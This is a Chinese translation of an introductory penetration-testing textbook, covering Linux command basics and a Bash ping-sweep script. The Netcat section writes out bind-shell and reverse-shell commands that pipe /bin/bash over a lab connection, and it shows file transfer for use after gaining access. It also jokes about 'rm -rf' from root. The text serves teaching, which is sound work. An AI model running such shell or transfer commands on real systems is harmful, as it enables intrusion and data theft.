删除文件时要小心，特别是递归删除！一些黑客开玩笑说，教 Linux 初学者的第一条命令是rm -rf，从根目录开始，这会强制删除整个文件系统。这教给新用户执行 root 权限操作的强大威力。别在家尝试这个！

向文件添加文本

echo命令会将你输入的内容回显到终端，如图所示。

root@kali:/mydirectory# echo hello georgia
hello georgia

要将文本保存到文件中，你可以将输入重定向到文件，而不是终端，使用>符号。

root@kali:/mydirectory# echo hello georgia > myfile

要查看新文件的内容，你可以使用cat命令。

root@kali:/mydirectory# cat myfile
hello georgia

现在，将另一行文本回显到myfile中，如下所示。

root@kali:# echo hello georgia again > myfile
root@kali:/mydirectory# cat myfile
hello georgia again

>符号会覆盖文件的先前内容。如果你将另一行文本回显到myfile中，该新行将覆盖先前命令的输出。正如你所见，myfile的内容现在是hello georgia again。

向文件追加文本

要向文件追加文本，使用>>，如下所示。

root@kali:/mydirectory# echo hello georgia a third time >> myfile
root@kali:/mydirectory# cat myfile
hello georgia again
hello georgia a third time

如你所见，追加操作保留了文件的先前内容。

文件权限

如果你查看ls -l命令在myfile上的长格式输出，你可以看到myfile当前的权限。

root@kali:~/mydirectory# ls -l myfile
-rw-r--r-- 1 root root 47 Apr 23 21:15 myfile

从左到右，你可以看到文件类型和权限（-rw-r—r--）、文件链接数（1）、拥有该文件的用户和组（root）、文件大小（47 字节）、最后编辑文件的时间（4 月 23 日，21:15），最后是文件名（myfile）。

Linux 文件有读（r）、写（w）和执行（x）权限，并且有三组用户权限：所有者、用户组和所有用户的权限。前三个字母表示所有者的权限，接下来的三个表示用户组的权限，最后三个表示所有用户的权限。由于你是以 root 用户账户创建的myfile，所以该文件属于用户root和用户组root，正如你在root root的输出中所看到的那样。root 用户具有文件的读写权限（rw）。如果用户组中有其他用户，他们可以读取该文件（r），但不能写入或执行该文件。最后一个r表示文件系统上的所有用户都可以读取该文件。

要更改文件的权限，使用chmod命令。你可以使用chmod来为所有者、用户组和世界指定权限。指定权限时，使用从 0 到 7 的数字，如表 2-1 所示。

表 2-1。Linux 文件权限

整数值	权限	二进制表示
7	完全权限	111
6	读和写	110
5	读和执行	101
4	仅读取	100
3	写入和执行	011
2	仅写入	010
1	仅执行	001
0	无权限	000

当输入新的文件权限时，你使用一个数字表示所有者的权限，一个数字表示用户组的权限，一个数字表示世界的权限。例如，要给所有者完全的权限，但不给用户组和世界任何读、写或执行的权限，可以使用chmod 700，如下所示：

root@kali:~/mydirectory# chmod 700 myfile
root@kali:~/mydirectory# ls -l myfile
-rwx------❶ 1 root root 47 Apr 23 21:15 myfile

现在，当你在myfile上运行ls -l命令时，你可以看到 root 用户具有读、写和执行（rwx）权限，而其他的权限设置为空白❶。如果你尝试以 root 之外的任何用户身份访问该文件，你将收到权限拒绝错误。

编辑文件

也许没有什么辩论能像哪个是最好的文件编辑器那样激发 Linux 用户的热情。在这里，我们将看看两款流行编辑器 vi 和 nano 的基础使用方法，从我最喜欢的 nano 开始。

root@kali:~/mydirectory# nano testfile.txt

一旦进入 nano，你可以开始向一个名为testfile.txt的新文件中添加文本。当你打开 nano 时，你应该看到一个空白文件，屏幕底部会显示 nano 的帮助信息，如下所示。

                                  [ New File ]
^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell

要向文件中添加文本，只需开始输入即可。

搜索文本

要在文件中搜索文本，使用 ctrl-W，然后在搜索提示符下输入要搜索的文本，如下所示。

--*snip*--
Search:**georgia**
^G Get Help  ^Y First Line^T Go To Line^W Beg of ParM-J FullJstifM-B Backwards
^C Cancel    ^V Last Line ^R Replace   ^O End of ParM-C Case SensM-R Regexp

如果文件中有georgia这个单词，nano 应该能找到它。要退出，按 ctrl-X。系统会提示你保存文件或放弃更改，如下所示：

--*snip*--
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ? **Y**
 Y Yes
 N No           ^C Cancel

输入Y保存文件。现在我们将使用 vi 编辑器来编辑该文件。

使用 vi 编辑文件

将示例 2-5 中的文本添加到testfile.txt中。除了文件内容外，你还会在 vi 屏幕底部看到一些信息，包括文件名、行数和当前光标位置（参见示例 2-5）。

示例 2-5. 使用 vi 编辑文件

root@kali:~/mydirectory# vi testfile.txt
hi
georgia
we
are
teaching
pentesting
today
~

"testfile.txt" 7L, 46C                                        1,1           All

与 nano 不同，打开文件后，你不能直接开始编辑。在 vi 中编辑文件时，输入I将 vi 切换到插入模式。你应该能在终端底部看到INSERT字样。完成编辑后，按 esc 退出插入模式并返回到命令模式。在命令模式下，你可以使用命令编辑文本。例如，将光标定位到we这一行，输入dd即可删除文件中的we。

要退出 vi，输入:wq告诉 vi 将更改写入文件并退出，如示例 2-6 所示。

示例 2-6. 在 vi 中保存更改

hi
georgia
are
teaching
pentesting
today

:**wq**

注意

要了解更多 vi 和 nano 的可用命令，请阅读相应的 man 手册。

你每天使用哪个编辑器由你决定。在本书中我们将使用 nano 编辑文件，但你可以自由选择你喜欢的编辑器。

数据操作

现在进行一些数据操作。使用你喜欢的文本编辑器，输入示例 2-7 中的文本到myfile中。该文件列出了一些我最喜欢的安全会议以及它们通常发生的月份。

示例 2-7. 数据操作示例列表

root@kali:~/mydirectory# cat myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April

使用 grep

命令grep用于查找文件中某个文本字符串的实例。例如，要搜索文件中所有出现的September字符串，输入grep September myfile，如下所示。

root@kali:~/mydirectory# grep September myfile
1 Derbycon September
3 Brucon September

正如你所看到的，grep告诉我们 Derbycon 和 Brucon 是在 9 月。

假设你现在只想获取九月的会议名称，而不包括会议的编号或月份。你可以通过管道（|）将grep的输出传递给另一个命令进行进一步处理。cut命令允许你处理每一行输入，选择分隔符，并打印特定的字段。例如，要仅获取在九月举行的会议名称，你可以像之前一样使用grep查找September这个词。接下来，你将输出通过管道（|）传递给cut，在cut中你可以使用-d选项指定空格为分隔符，并通过-f选项指定你想要的第二个字段，如下所示。

root@kali:~/mydirectory# grep September myfile | cut -d " " -f 2
Derbycon
Brucon

如你所见，通过将这两个命令通过管道连接在一起，最终只得到会议名为 Derbycon 和 Brucon 的两个会议。

使用 sed

另一个用于数据处理的命令是sed。关于如何使用sed已经有整本书被写了下来，但我们这里仅介绍一些基本操作，例如查找特定单词并进行替换。

sed命令非常适合根据特定模式或表达式自动编辑文件。例如，假设你有一个非常长的文件，并且需要替换某个特定单词的每个实例。你可以使用sed命令快速并自动完成这项任务。

在sed的语法中，斜杠（/）是分隔符字符。例如，要将文件myfile中所有出现的Blackhat替换为Defcon，可以输入sed 's/Blackhat/Defcon/' myfile，如示例 2-8 中所示。

示例 2-8. 使用sed替换单词

root@kali:~/mydirectory# sed 's/Blackhat/Defcon/' myfile
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Defcon July
5 Bsides *
6 HackerHalted October
7 Hackcon April

使用 awk 进行模式匹配

另一个用于模式匹配的命令行工具是awk命令。例如，如果你想查找编号为 6 或更大的会议，你可以使用awk搜索第一字段，查找大于 5 的条目，如下所示。

root@kali:~/mydirectory# awk '$1 >5' myfile
6 HackerHalted October
7 Hackcon April

或者，如果你只想要每行的第一和第三个单词，可以输入awk '{print $1,$3;}' myfile，如示例 2-9 中所示。

示例 2-9. 使用awk选择特定列

root@kali:~/mydirectory# awk '{print $1,$3;}' myfile
1 September
2 January
3 September
4 July
5 *
6 October
7 April

注意

本节我们只展示了使用这些数据处理工具的简单示例。要获取更多信息，请查阅手册页。这些工具可以成为强大的时间节省器。

管理已安装的软件包

在基于 Debian 的 Linux 发行版（如 Kali Linux）中，你可以使用高级包装工具（apt）来管理软件包。要安装一个软件包，输入apt-get install package。例如，要在 Kali Linux 中安装 Metasploit 的前端工具 Armitage，请输入以下命令：

root@kali:~# apt-get install armitage

就这么简单：apt会为你安装并配置 Armitage。

Kali Linux 中的工具会定期发布更新。要获取已安装包的最新版本，请输入 apt-get upgrade。Kali 使用的包存储库列在文件 /etc/apt/sources.list 中。若要添加额外的存储库，你可以编辑此文件并运行 apt-get update 命令来刷新数据库，包含新的存储库。

注意

本书基于 Kali 1.0.6 的基础安装，除非在第一章中另有说明，否则为了跟随本书的内容，请不要更新 Kali。

进程和服务

在 Kali Linux 中，你可以使用 service 命令启动、停止或重启服务。例如，要启动 Apache 网络服务器，请输入 service apache2 start，如下所示。

root@kali:~/mydirectory# service apache2 start
[....] Starting web server: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
. ok

同样，要停止 MySQL 数据库服务器，请输入 service mysql stop。

管理网络

在设置 Kali Linux 虚拟机时，参考了第一章，你使用了 ifconfig 命令来查看网络信息，如示例 2-10 所示。

示例 2-10. 使用 ifconfig 查看网络信息

root@kali:~# ifconfig
eth0❶     Link encap:Ethernet  HWaddr 00:0c:29:df:7e:4d
          inet addr:192.168.20.9❷  Bcast:192.168.20.255  Mask:255.255.255.0❸
          inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1756332 errors:930193 dropped:17 overruns:0 frame:0
          TX packets:1115419 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1048617759 (1000.0 MiB)  TX bytes:115091335 (109.7 MiB)
          Interrupt:19 Base address:0x2024
*--snip--*

从 ifconfig 的输出中，你可以获得关于系统网络状态的很多信息。首先，网络接口名为 eth0 ❶。我的 Kali 机器用来与网络通信的 IPv4 地址（inet addr）是 192.168.20.9 ❷（你的可能不同）。IP 地址 是分配给网络中设备的 32 位标签。IP 地址由 4 个八位字节（或 8 位部分）组成。

地址的 网络掩码，或 子网掩码（Mask），在 ❸ 处标识了 IP 地址的哪些部分属于网络，哪些部分属于主机。在此案例中，子网掩码 255.255.255.0 告诉你网络的前三个八位字节是 192.168.20。

默认网关 是你的主机用于路由流量到其他网络的位置。任何指向本地网络以外的流量都会被发送到默认网关，由它来确定流量的去向。

root@kali:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.20.1❶   0.0.0.0         UG    0      0        0 eth0
192.168.20.0    *               255.255.255.0   U     0      0        0 eth0

route 命令的输出告诉我们默认网关是 192.168.20.1 ❶。这很有道理，因为 IP 地址为 192.168.20.1 的系统是我家网络中的无线路由器。请记下你自己的默认网关，以便在下一节中使用。

设置静态 IP 地址

默认情况下，你的网络连接使用动态主机配置协议（DHCP）从网络中获取一个 IP 地址。若要设置静态地址，确保你的 IP 地址不变，你需要编辑文件 /etc/network/interfaces。使用你喜欢的编辑器打开此文件。默认配置文件如示例 2-11 所示。

示例 2-11. 默认的 /etc/network/interfaces 文件

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

要为你的系统设置静态 IP 地址，你需要为 eth0 接口添加一个条目。将示例 2-12 中显示的文本添加到/etc/network/interfaces中，并修改 IP 地址以匹配你的环境。

示例 2-12. 添加静态 IP 地址

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback
**auto eth0**
**iface eth0 inet static** ❶
**address 192.168.20.9**
**netmask 255.255.255.0** ❷
**gateway 192.168.20.1** ❸

你已将 eth0 的 IP 地址设置为静态 IP 地址，如❶所示。使用你在上一节中找到的 IP 地址、子网掩码❷和网关❸来填写文件中的相关信息。

一旦你做出这些更改，使用service networking restart重新启动网络服务，以便使用新添加的静态网络信息。

查看网络连接

要查看网络连接、监听端口等，可以使用netstat命令。例如，你可以通过执行命令netstat -antp来查看监听 TCP 端口的程序，如示例 2-13 所示。端口仅仅是基于软件的网络套接字，在网络上监听，允许远程系统与系统上的程序进行交互。

示例 2-13. 使用netstat查看监听端口

root@kali:~/mydirectory# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp6       0      0 :::80                   :::*                    LISTEN      15090/apache2

你会看到你在本章开始时启动的 Apache web 服务器在 TCP 端口 80 上监听。（有关其他netstat选项，请查看 man 页面。）

Netcat：TCP/IP 连接的瑞士军刀

正如 man 页面所指出的，Netcat 工具被称为 TCP/IP 连接的瑞士军刀。它是一个多功能的工具，我们将在本书中贯穿使用。

要查看 Netcat 的各种选项，请输入nc -h，如示例 2-14 所示。

示例 2-14. Netcat 帮助信息

root@kali:~# nc -h
[v1.10-40]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
      -c shell commands  as `-e'; use /bin/sh to exec [dangerous!!]
      -e filename       program to exec after connect [dangerous!!]
      -b                allow broadcasts
--*snip*--

检查端口是否处于监听状态

让我们让 Netcat 连接到一个端口，看看该端口是否正在监听连接。你之前看到的 Apache web 服务器正在 Kali Linux 系统的端口 80 上监听。让 Netcat 通过-v选项以详细模式连接端口 80，如下所示。如果你正确启动了 Apache，当尝试连接该服务时，你应该看到以下内容。

root@kali:~# nc -v 192.168.20.9 80
(UNKNOWN) [192.168.20.10] 80 (http) open

正如你所看到的，Netcat 报告显示端口 80 确实在网络上处于监听状态（open）。（我们将在第五章的端口扫描讨论中进一步了解开放端口及其为何重要。）

你也可以使用 Netcat 监听某个端口上的传入连接，方法如下所示。

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...

你使用l选项进行监听，v选项启用详细模式，p选项指定要监听的端口。

接下来，打开第二个终端窗口，使用 Netcat 连接到 Netcat 监听器。

root@kali:~# nc 192.168.20.9 1234
**hi georgia**

一旦你连接，输入文本hi georgia，当你返回到监听器的终端窗口时，你会看到一个连接已建立，并且你的文本已被打印出来。

listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51917
hi georgia

通过按 CTRL-C 关闭两个 Netcat 进程。

打开命令行 Shell 监听器

现在来点更有趣的。当你设置 Netcat 监听器时，使用 -e 标志告诉 Netcat 在接收到连接时执行 /bin/bash（或者启动一个 Bash 命令提示符）。这允许任何连接到监听器的人在你的系统上执行命令，如下所示。

root@kali:~# nc -lvp 1234 -e /bin/bash
listening on [any] 1234 ...

再次使用第二个终端窗口连接到 Netcat 监听器。

root@kali:~# nc 192.168.20.9 1234
whoami
root

现在，你可以发出 Linux 命令让 Netcat 监听器执行。whoami Linux 命令会告诉你当前登录的用户。在这种情况下，因为 Netcat 进程是由 root 用户启动的，所以你的命令将以 root 用户的身份执行。

注意

这是一个简单的例子，因为你的 Netcat 监听器和连接都在同一系统上。你也可以使用你另外的虚拟机，甚至是你的宿主系统来进行这个练习。

再次关闭两个 Netcat 进程。

将命令行 Shell 推送回监听器

除了在端口上监听命令行 Shell，你还可以将命令行 Shell 推送回 Netcat 监听器。这次设置 Netcat 监听器时不使用 -e 标志，如下所示。

root@kali:~# nc -lvp 1234
listening on [any] 1234 ...

现在打开第二个终端，并像这里所示的那样，重新连接到你刚刚创建的 Netcat 监听器。

root@kali:~# nc 192.168.20.9 1234 -e /bin/bash

按照平常的方式使用 Netcat 进行连接，但这次使用 -e 标志在连接上执行 /bin/bash。回到第一个终端，你会看到如下面所示的连接，如果你输入终端命令，你会看到它们被执行。（我们将在第四章中学习更多关于在本地端口上监听 /bin/bash 和通过连接主动推送 /bin/bash，分别被称为 bind shells 和 reverse shells。）

listening on [any] 1234 ...
connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921
whoami
root

现在，Netcat 还有一个功能。这次，不是将进入监听器的数据输出到屏幕，而是使用 > 将其发送到文件中，如下所示。

root@kali:~# nc -lvp 1234 > netcatfile
listening on [any] 1234 ...

在第二个终端中，你设置了 Netcat 进行连接，但这次你使用了 < 符号来告诉它通过 Netcat 连接发送一个文件（myfile）的内容。给 Netcat 几秒钟的时间来完成，然后检查由你第一个 Netcat 实例创建的文件 netcatfile 的内容。其内容应该与 myfile 完全相同。

root@kali:~# nc 192.168.20.9 1234 < mydirectory/myfile

你已经使用 Netcat 转移了文件。在这个例子中，我们只是将文件从一个目录转移到另一个目录，但你可以想象，这种技术可以用来在系统之间转移文件——这是渗透测试后期阶段，获得系统访问权限后的常用技术。

使用 cron 任务自动化任务

cron 命令允许我们安排任务在指定时间自动运行。在 Kali 系统的 /etc 目录中，你可以看到与 cron 相关的多个文件和目录，如示例 2-15 所示。

示例 2-15. crontab 文件

root@kali:/etc# ls | grep cron
cron.d
cron.daily
cron.hourly
cron.monthly
crontab
cron.weekly

cron.daily、cron.hourly、cron.monthly 和 cron.weekly 目录指定了将自动运行的脚本，分别是每天、每小时、每月或每周，根据你将脚本放入哪个目录来决定。

如果你需要更多的灵活性，可以编辑 cron 的配置文件，/etc/crontab。默认文本如示例 2-16 所示。

示例 2-16. crontab 配置文件

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user     command
17 *  * * * root    cd / && run-parts --report /etc/cron.hourly ❶
25 6  * * * root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) ❷
47 6  * * 7 root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * * root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

crontab 中的字段，从左到右依次为：分钟、小时、日期、月份、星期、执行命令的用户，最后是要执行的命令。要使命令每天、每小时等都运行，你可以使用星号（*）来代替指定某一列的具体值。

例如，查看第一个 crontab 行 ❶，它会运行每小时执行的 cron 任务，这些任务在 /etc/cron.hourly 中指定。这个 crontab 在每小时的第 17 分钟，每天、每月、每周都运行。第 ❷ 行表示每日的 crontab（/etc/cron.daily）将在每天、每月、每周的第 6 小时的第 25 分钟执行。（为了更大的灵活性，你可以在这里添加一行，而不是将其添加到每小时、每天、每周或每月的列表中。）

小结

本章我们探讨了一些常见的 Linux 操作任务。浏览 Linux 文件系统、处理数据和运行服务，这些技能将对你在本书的学习过程中大有帮助。此外，在攻击 Linux 系统时，知道在 Linux 环境下运行哪些命令，将帮助你充分利用成功的利用技巧。你可能希望通过设置 cron 任务定期自动运行某些命令，或者使用 Netcat 从你的攻击机器传输文件。你将在本书中使用 Kali Linux 进行攻击，并且你的目标系统是 Ubuntu Linux，因此掌握这些基础知识将使学习渗透测试变得更加自然。

第三章. 编程

在本章中，我们将查看一些计算机编程的基本示例。我们将编写程序来自动化执行各种有用的任务，使用多种编程语言。尽管本书的大部分内容都使用了预构建的软件，但能够编写自己的程序仍然很有用。

Bash 脚本编写

本节我们将介绍如何使用 Bash 脚本一次性运行多个命令。Bash 脚本，或称 Shell 脚本，是包含多个终端命令的文件，这些命令会依次执行。我们在终端中可以运行的任何命令，都可以在脚本中执行。

Ping

我们将把第一个脚本命名为 pingscript.sh。当它运行时，这个脚本会对我们本地网络进行 ping 扫描，向远程系统发送互联网控制消息协议（ICMP）消息，以查看它们是否响应。

我们将使用 ping 工具来确定网络上哪些主机是可达的。（尽管有些主机可能不会响应 ping 请求，并且尽管它们无法“ping 通”，它们仍然可能是正常运行的，但 ping 扫描仍然是一个很好的起点。）默认情况下，我们提供 IP 地址或主机名进行 ping 测试。例如，要 ping 我们的 Windows XP 目标，请在示例 3-1 中输入粗体代码。

示例 3-1. 远程主机 Ping 测试

root@kali:~/# ping 192.168.20.10
PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data.
64 bytes from 192.168.20.10: icmp_req=1 ttl=64 time=0.090 ms
64 bytes from 192.168.20.10: icmp_req=2 ttl=64 time=0.029 ms
64 bytes from 192.168.20.10: icmp_req=3 ttl=64 time=0.038 ms
64 bytes from 192.168.20.10: icmp_req=4 ttl=64 time=0.050 ms
**^C**
--- 192.168.20.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999 ms
rtt min/avg/max/mdev = 0.029/0.051/0.090/0.024 ms

从 ping 输出中我们可以看出，Windows XP 目标已启动并响应了 ping 探测，因为我们收到了对 ICMP 请求的回复。（ping 的问题在于，除非你用 ctrl-C 停止它，否则它会一直运行下去。）

一个简单的 Bash 脚本

让我们开始编写一个简单的 Bash 脚本来 ping 网络上的主机。一个好的起点是添加一些帮助信息，告诉用户如何正确运行你的脚本。

#**!/bin/bash**
**echo "Usage: ./pingscript.sh [network]"**
**echo "example: ./pingscript.sh 192.168.20"**

这个脚本的第一行告诉终端使用 Bash 解释器。接下来的两行以 echo 开头，简单地告诉用户我们的 ping 脚本将接受一个命令行参数（网络），告诉脚本要进行 ping 扫描的网络（例如，192.168.20）。echo 命令会将引号中的文本打印出来。

注意

这个脚本意味着我们正在处理一个 C 类网络，其中 IP 地址的前三个八位字节组成网络部分。

创建脚本后，使用 chmod 命令将其设为可执行文件，以便我们可以运行它。

root@kali:~/# chmod 744 pingscript.sh

运行我们的脚本

以前，当输入 Linux 命令时，我们会在提示符下键入命令名。内置的 Linux 命令以及添加到 Kali Linux 中的渗透测试工具的文件系统位置是我们 PATH 环境变量的一部分。PATH 变量告诉 Linux 在哪些目录中查找可执行文件。要查看 PATH 中包含了哪些目录，请输入 echo $PATH。

root@kali:~/# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

注意输出中没有列出 /root 目录。这意味着我们不能简单地输入 pingscript.sh 来运行我们的 Bash 脚本。相反，我们需要输入 ./pingscript.sh 来告诉终端从当前目录运行脚本。如下所示，脚本会打印出使用信息。

root@kali:~/# ./pingscript.sh
Usage: ./pingscript.sh [network]
example: ./pingscript.sh 192.168.20

使用`if`语句增加功能

现在，让我们通过添加一个if语句来增加一些功能，如示例 3-2 所示。

示例 3-2. 添加if语句

#!/bin/bash
if [ "$1" == "" ] ❶
then ❷
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
fi ❸

通常，脚本只有在用户使用不当时才需要打印使用信息。在这种情况下，用户需要提供网络扫描的命令行参数。如果用户没有这样做，我们希望通过打印使用信息来告知用户如何正确运行脚本。

为了实现这一点，我们可以使用if语句来判断条件是否满足。通过使用if语句，我们可以在特定条件下让脚本仅在某些情况下输出使用信息——例如，当用户未提供命令行参数时。

if语句在许多编程语言中都有使用，尽管语法在不同语言中有所不同。在 Bash 脚本中，if语句的使用方式如下：if [condition]，其中*condition*是必须满足的条件。

在我们的脚本中，我们首先检查第一个命令行参数是否为空 ❶。符号$1表示在 Bash 脚本中的第一个命令行参数，双等号（==）用于检查是否相等。if语句后面跟着一个then语句 ❷。then语句和fi（if的倒序）之间的任何命令 ❸ 只有在条件语句为真时才会执行——在这种情况下，当脚本的第一个命令行参数为空时。

当我们在没有命令行参数的情况下运行新的脚本时，if语句的结果为真，因为第一个命令行参数确实为空，如下所示。

root@kali:~/# ./pingscript.sh
Usage: ./pingscript.sh [network]
example: ./pingscript.sh 192.168.20

正如预期的那样，我们看到了使用信息被回显到屏幕上。

`for`循环

如果我们再次使用命令行参数运行脚本，什么也不会发生。现在，让我们添加一些功能，当用户使用正确的参数运行脚本时会触发这些功能，如示例 3-3 所示。

示例 3-3. 添加for循环

#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
**else** ❶
**for x in `seq 1 254`; do** ❷
**ping -c 1 $1.$x**
**done** ❸
fi

在then语句后，我们使用else语句 ❶ 来指示脚本在if语句为假时执行代码——在这种情况下，如果用户提供了命令行参数。因为我们希望这个脚本能够对本地网络上的所有主机进行 ping 操作，所以我们需要遍历 1 到 254 之间的数字（IP 版本 4 地址最后一个八位字节的可能性），并对这些可能性执行ping命令。

一种理想的方式是使用for循环 ❷ 来遍历顺序的可能性。我们的for循环for x in \seq 1 254`; do告诉脚本对从 1 到 254 的每个数字执行后续代码。这将允许我们运行一组指令 254 次，而不是为每个实例编写代码。我们用done ❸ 指令表示for`循环的结束。

在 for 循环内部，我们希望对网络中的每个 IP 地址进行 ping 操作。通过查看 ping 的 man 页面，我们发现 -c 选项可以让我们限制每次 ping 操作的次数。我们将 -c 设置为 1，这样每个主机只会被 ping 一次。

为了指定要 ping 的主机，我们需要将第一个命令行参数（表示前三个八位组）与 for 循环的当前迭代进行拼接。使用的完整命令是 ping -c 1 $1.$x。回想一下，$1 表示第一个命令行参数，$x 是 for 循环的当前迭代。我们的 for 循环第一次运行时，它将 ping 192.168.20.1，然后是 192.168.20.2，一直到 192.168.20.254。迭代到 254 后，for 循环结束。

当我们使用 IP 地址前三个八位组作为命令行参数运行脚本时，脚本将对网络中的每个 IP 地址进行 ping 操作，如示例 3-4 中所示。

示例 3-4. 运行 ping 扫描脚本

root@kali:~/# ./pingscript.sh 192.168.20
PING 192.168.20.1 (192.168.20.1) 56(84) bytes of data.
64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=8.31 ms ❶

--- 192.168.20.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 8.317/8.317/8.317/0.000 ms
PING 192.168.20.2(192.168.20.2) 56(84) bytes of data.
64 bytes from 192.168.20.2: icmp_req=1 ttl=128 time=166 ms

--- 192.168.20.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 166.869/166.869/166.869/0.000 ms
PING 192.168.20.3 (192.168.20.3) 56(84) bytes of data.
From 192.168.20.13 icmp_seq=1 Destination Host Unreachable ❷

--- 192.168.20.3 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
--*snip*--

你的结果会根据你本地网络中的系统有所不同。根据这个输出，我可以看出在我的网络中，主机 192.168.20.1 正在运行，并且我收到了一个 ICMP 响应 ❶。另一方面，主机 192.168.20.3 未启动，因此我收到了主机不可达的通知 ❷。

精简结果

所有这些打印到屏幕上的信息看起来并不太好，任何使用我们脚本的人都需要筛选出大量的信息才能确定网络中哪些主机是正常的。让我们添加一些额外的功能来精简结果。

在上一章中我们介绍了 grep，它用于搜索和匹配特定的模式。让我们使用 grep 来过滤脚本的输出，如示例 3-5 中所示。

示例 3-5. 使用 grep 过滤结果

#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" ❶
done
fi

在这里，我们查找所有包含字符串 64 bytes ❶ 的实例，这个字符串出现在 ping 主机时收到 ICMP 响应的情况下。如果我们使用这个修改后的脚本运行，我们会看到只有包含 64 bytes 文本的行被打印到屏幕上，如下所示。

root@kali:~/# ./pingscript.sh 192.168.20
64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=4.86 ms
64 bytes from 192.168.20.2: icmp_req=1 ttl=128 time=68.4 ms
64 bytes from 192.168.20.8: icmp_req=1 ttl=64 time=43.1 ms
--*snip*--

我们只获得活动主机的指示；那些没有回应的主机不会打印到屏幕上。

但是我们可以让这个脚本变得更易于使用。我们的 ping 扫描的目的是获取活动主机的列表。通过使用第二章中讨论的 cut 命令，我们可以仅打印出活动主机的 IP 地址，如示例 3-6 中所示。

示例 3-6. 使用 cut 进一步过滤结果

#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 ❶
done
fi

我们可以使用空格作为分隔符，并获取第四个字段，也就是我们的 IP 地址，如 ❶ 所示。

现在我们再次运行脚本，如下所示。

root@kali:~/mydirectory# ./pingscript.sh 192.168.20
192.168.20.1:
192.168.20.2:
192.168.20.8:
--*snip*--

不幸的是，我们看到每一行的末尾都有一个冒号。对于用户来说，结果应该已经足够清晰，但如果我们想将这些结果作为输入传递给其他程序，我们需要删除末尾的冒号。在这种情况下，sed 就是解决方案。

将删除每行末尾字符的 sed 命令是 sed 's/.$//'，如示例 3-7 所示。

示例 3-7. 使用 sed 删除末尾的冒号

#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 | **sed 's/.$//'**
done
fi

现在当我们运行脚本时，一切看起来都完美无缺，如下所示。

root@kali:~/# ./pingscript.sh 192.168.20
192.168.20.1
192.168.20.2
192.168.20.8
--*snip*--

注意

当然，如果我们希望将结果输出到文件中，而不是显示在屏幕上，我们可以使用 >> 操作符，这在第二章中有介绍，用来将每个存活的 IP 地址追加到文件中。尝试在 Linux 中自动化其他任务，以练习你的 Bash 脚本技能。

Python 脚本

Linux 系统通常预装有其他脚本语言的解释器，如 Python 和 Perl。Kali Linux 中包含了这两种语言的解释器。在第十六章到第十九章中，我们将使用 Python 编写自己的漏洞利用代码。目前，让我们编写一个简单的 Python 脚本，并在 Kali Linux 中运行，以演示 Python 脚本的基础知识。

对于这个示例，我们将做一些类似于第二章中我们第一个 Netcat 示例的事情：我们将连接到系统上的一个端口，并检查该端口是否在监听。我们脚本的起点如下所示。

#!/usr/bin/python ❶
ip = raw_input("Enter the ip: ") ❷
port = input("Enter the port: ") ❸

在上一节中，我们脚本的第一行告诉终端使用 Bash 来解释脚本。在这里我们做了相同的事情，指向 Kali Linux 上安装的 Python 解释器，路径为 /usr/bin/python ❶。

